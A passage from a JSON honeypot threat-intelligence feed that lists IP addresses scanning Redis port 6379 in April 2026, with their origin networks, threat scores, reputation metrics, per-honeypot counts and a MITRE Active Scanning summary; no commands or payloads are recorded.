      "first_seen": "2026-04-13T19:01:24.000Z",
      "last_seen": "2026-04-29T18:30:05.000Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-10T09:18:10+00:00",
        "last_seen_30d": "2026-04-29T18:30:05+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Redishoneypot": 9,
        "Honeytrap": 4
      }
    },
    "192.241.134.55": {
      "attack_count": 20,
      "first_seen": "2026-04-14T00:46:33.000Z",
      "last_seen": "2026-04-14T00:47:43.464Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:46:34+00:00",
        "last_seen_30d": "2026-04-14T00:47:43.464000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 2
      }
    },
    "203.55.131.3": {
      "attack_count": 19,
      "first_seen": "2026-04-26T20:08:45.000Z",
      "last_seen": "2026-04-26T20:25:34.491Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 472,
        "days_active_30d": 29,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T04:56:56.560000+00:00",
        "last_seen_30d": "2026-04-29T09:26:18.411000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 335,
        "Honeytrap": 79,
        "Miniprint": 20,
        "Cowrie": 9,
        "ConPot": 6,
        "Redishoneypot": 6,
        "Ciscoasa": 3,
        "Dionaea": 3,
        "CitrixHoneypot": 2,
        "H0neytr4p": 2,
        "Honeyaml": 2,
        "Ipphoney": 2,
        "Tanner": 2,
        "Sentrypeer": 1
      }
    },
    "107.150.31.215": {
      "attack_count": 18,
      "first_seen": "2026-04-11T03:34:53.000Z",
      "last_seen": "2026-04-18T02:55:04.505Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T03:34:53+00:00",
        "last_seen_30d": "2026-04-18T02:55:04.505000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "71.6.134.233": {
      "attack_count": 18,
      "first_seen": "2026-04-06T01:20:49.000Z",
      "last_seen": "2026-04-06T01:44:18.150Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 96.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 417,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T00:26:27.890000+00:00",
        "last_seen_30d": "2026-04-30T20:42:23.039000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 304,
        "Honeytrap": 91,
        "Dionaea": 7,
        "Redishoneypot": 6,
        "Adbhoney": 4,
        "CitrixHoneypot": 2,
        "Ipphoney": 2,
        "Sentrypeer": 1
      }
    },
    "137.184.96.231": {
      "attack_count": 17,
      "first_seen": "2026-04-11T18:19:33.000Z",
      "last_seen": "2026-04-11T18:20:46.190Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 9.2,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 11,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T12:50:57+00:00",
        "last_seen_30d": "2026-04-18T16:27:28.015000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 63,
        "Redishoneypot": 5
      }
    },
    "135.237.125.206": {
      "attack_count": 16,
      "first_seen": "2026-04-27T06:40:11.000Z",
      "last_seen": "2026-04-27T06:42:16.148Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 73.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T16:16:43+00:00",
        "last_seen_30d": "2026-04-30T21:29:47.875000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 9,
        "Redishoneypot": 3
      }
    },
    "42.112.101.116": {
      "attack_count": 10,
      "first_seen": "2026-04-17T16:45:12.000Z",
      "last_seen": "2026-04-20T11:32:19.119Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Vi\u1ec7t Tr\u00ec",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-17T16:46:15.155000+00:00",
        "last_seen_30d": "2026-04-20T11:32:19.119000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "81.68.255.20": {
      "attack_count": 10,
      "first_seen": "2026-04-04T11:48:24.000Z",
      "last_seen": "2026-04-12T12:05:55.970Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-04T11:49:30.214000+00:00",
        "last_seen_30d": "2026-04-12T12:05:55.970000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "142.93.255.85": {
      "attack_count": 9,
      "first_seen": "2026-04-13T12:06:40.000Z",
      "last_seen": "2026-04-27T17:09:34.675Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 62.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 30,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T13:06:20.130000+00:00",
        "last_seen_30d": "2026-04-30T12:32:39.147000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18
      }
    },
    "147.185.132.252": {
      "attack_count": 9,
      "first_seen": "2026-04-21T19:57:12.000Z",
      "last_seen": "2026-04-21T19:58:50.733Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T19:21:24+00:00",
        "last_seen_30d": "2026-04-30T18:20:33.745000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 32,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "Sentrypeer": 1,
        "Wordpot": 1
      }
    },
    "164.90.184.167": {
      "attack_count": 9,
      "first_seen": "2026-04-19T00:36:16.000Z",
      "last_seen": "2026-04-19T00:37:18.232Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T00:36:16+00:00",
        "last_seen_30d": "2026-04-19T00:37:18.232000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "221.215.99.69": {
      "attack_count": 9,
      "first_seen": "2026-04-09T21:56:25.000Z",
      "last_seen": "2026-04-09T21:57:34.232Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T21:56:25+00:00",
        "last_seen_30d": "2026-04-09T21:57:34.232000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "192.81.131.109": {
      "attack_count": 6,
      "first_seen": "2026-04-03T03:16:06.000Z",
      "last_seen": "2026-04-03T03:17:08.819Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 66.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:17:08.819000+00:00",
        "last_seen_30d": "2026-04-29T02:06:10.464000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 79
      }
    },
    "193.163.125.27": {
      "attack_count": 6,
      "first_seen": "2026-04-13T03:33:02.000Z",
      "last_seen": "2026-04-13T03:34:03.368Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 70.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 30,
        "ports_targeted_30d": 114,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T09:30:13.404000+00:00",
        "last_seen_30d": "2026-04-30T21:26:32.754000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123
      }
    },
    "193.163.125.28": {
      "attack_count": 6,
      "first_seen": "2026-04-22T03:36:34.000Z",
      "last_seen": "2026-04-22T03:37:42.091Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 30,
        "ports_targeted_30d": 133,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T06:00:21.635000+00:00",
        "last_seen_30d": "2026-04-30T20:10:35.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 139
      }
    },
    "66.132.195.155": {
      "attack_count": 6,
      "first_seen": "2026-04-23T21:21:13.000Z",
      "last_seen": "2026-04-23T21:22:53.302Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 27,
        "ports_targeted_30d": 134,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:22:42.449000+00:00",
        "last_seen_30d": "2026-04-27T01:53:24.512000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138
      }
    },
    "104.248.227.249": {
      "attack_count": 5,
      "first_seen": "2026-04-29T09:32:59.000Z",
      "last_seen": "2026-04-29T09:34:34.097Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 2,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T08:49:11.786000+00:00",
        "last_seen_30d": "2026-04-30T13:09:32.826000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "106.75.191.108": {
      "attack_count": 5,
      "first_seen": "2026-04-30T16:08:43.000Z",
      "last_seen": "2026-04-30T16:09:52.390Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.0,
        "persistence": 24.2,
        "diversity": 16,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 29,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T09:46:59.848000+00:00",
        "last_seen_30d": "2026-04-30T16:09:52.390000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8
      }
    },
    "121.29.89.93": {
      "attack_count": 5,
      "first_seen": "2026-04-26T18:49:10.000Z",
      "last_seen": "2026-04-26T18:50:13.214Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-26T18:50:13.214000+00:00",
        "last_seen_30d": "2026-04-26T18:50:13.214000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "121.37.141.75": {
      "attack_count": 5,
      "first_seen": "2026-04-21T23:49:37.000Z",
      "last_seen": "2026-04-21T23:50:45.161Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-21T23:50:45.161000+00:00",
        "last_seen_30d": "2026-04-21T23:50:45.161000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "167.99.237.167": {
      "attack_count": 5,
      "first_seen": "2026-04-01T05:40:58.000Z",
      "last_seen": "2026-04-01T05:42:34.623Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T05:42:34.623000+00:00",
        "last_seen_30d": "2026-04-02T02:20:38.712000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21
      }
    },
    "100.51.6.16": {
      "attack_count": 4,
      "first_seen": "2026-04-28T21:26:46.000Z",
      "last_seen": "2026-04-28T21:27:50.533Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 85.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 29,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:37:13.174000+00:00",
        "last_seen_30d": "2026-04-29T01:51:25.339000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 210,
        "Honeytrap": 27,
        "ConPot": 9,
        "Dionaea": 1
      }
    },
    "66.132.172.231": {
      "attack_count": 4,
      "first_seen": "2026-04-06T00:40:47.000Z",
      "last_seen": "2026-04-06T00:40:47.000Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 69.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T06:10:41.707000+00:00",
        "last_seen_30d": "2026-04-30T23:31:40.672000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95
      }
    },
    "68.183.109.132": {
      "attack_count": 4,
      "first_seen": "2026-04-24T00:22:18.000Z",
      "last_seen": "2026-04-24T00:23:26.397Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1665,
        "days_active_30d": 2,
        "ports_targeted_30d": 1676,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-23T12:30:40.795000+00:00",
        "last_seen_30d": "2026-04-24T01:10:14.627000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1617,
        "Honeytrap": 47,
        "Sentrypeer": 1
      }
    },
    "74.82.47.32": {
      "attack_count": 4,
      "first_seen": "2026-04-18T14:00:18.000Z",
      "last_seen": "2026-04-18T14:01:22.308Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 26,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T08:03:21+00:00",
        "last_seen_30d": "2026-04-30T00:38:41.446000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Ciscoasa": 1,
        "Honeytrap": 1,
        "Miniprint": 1
      }
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "United States": 8184,
      "China": 3393,
      "Netherlands": 1194,
      "Hong Kong": 1132,
      "Russia": 592,
      "Bulgaria": 252,
      "Brazil": 246,
      "Singapore": 240,
      "Canada": 229,
      "United Kingdom": 218,
      "India": 205,
      "Seychelles": 198,
      "Germany": 183,
      "France": 172,
      "Australia": 164,
      "Belgium": 142,
      "Vietnam": 129,
      "Armenia": 99,
      "South Korea": 72,
      "Romania": 68
    },
    "top_asns": {
      "Amazon.com, Inc.": 3027,
      "Microsoft Corporation": 1398,
      "Alsycon B.V.": 1219,
      "Alibaba US Technology Co., Ltd.": 1135,
      "DigitalOcean, LLC": 1123,
      "Hurricane Electric LLC": 720,
      "Censys, Inc.": 655,
      "CHINA UNICOM China169 Backbone": 652,
      "LIGHT NODE LIMITED": 593,
      "Hangzhou Alibaba Advertising Co.,Ltd.": 409,
      "Beijing Baidu Netcom Science and Technology Co., Ltd.": 387,
      "Google LLC": 379,
      "JSC Buduschee": 274,
      "CariNet, Inc.": 262,
      "W-NET TELLECOM EIRELI ME": 246,
      "Chinanet": 243,
      "China Mobile Communications Group Co., Ltd.": 233,
      "ONYPHE SAS": 231,
      "Techoff Srv Limited": 199,
      "China Telecom Group": 194
    },
    "targeted_ports": {
      "6379": 633
    },
    "top_commands": {},
    "attack_types": {
      "scanning": 17642
    }
  },
  "x_mitre_attack": {
    "techniques": {
      "T1595": {
        "name": "Active Scanning",
        "tactic": "Reconnaissance",
        "ip_count": 633,
        "attack_types": [
          "scanning"
        ]
      }
    },
    "tactic_summary": {
      "Reconnaissance": 633
    },
    "technique_count": 1,
    "primary_tactics": [
      "Reconnaissance"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 633,
    "scored_ips": 633,
    "threat_distribution": {
      "critical": 129,
      "high": 130,
      "medium": 82,
      "low": 122,
      "minimal": 170,
      "unknown": 0
    },
    "avg_threat_score": 47.5,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "18.218.118.203",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 625,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "18.116.101.220",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 174,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.131.220.121",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 100,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "85.11.167.11",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 53,
        "country": "Bulgaria",
        "org": "ColocaTel Inc."
      },
      {
        "ip": "3.129.187.38",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 283,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "85.11.183.25",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 27,
        "country": "United Kingdom",
        "org": "PebbleHost Ltd"
      },
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 14,
        "country": "France",
        "org": "Contabo GmbH"
      },
      {
        "ip": "85.11.183.19",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 28,
        "country": "United Kingdom",
        "org": "PebbleHost Ltd"
      },
      {
        "ip": "16.58.56.214",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 420,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.134.216.108",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 359,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.130.168.2",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 355,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.132.26.232",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 138,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "85.11.183.21",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 56,
        "country": "United Kingdom",
        "org": "PebbleHost Ltd"
      },
      {
        "ip": "3.151.241.153",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 196,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "3.143.162.210",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 153,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "185.224.128.16",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 27,
        "country": "The Netherlands",
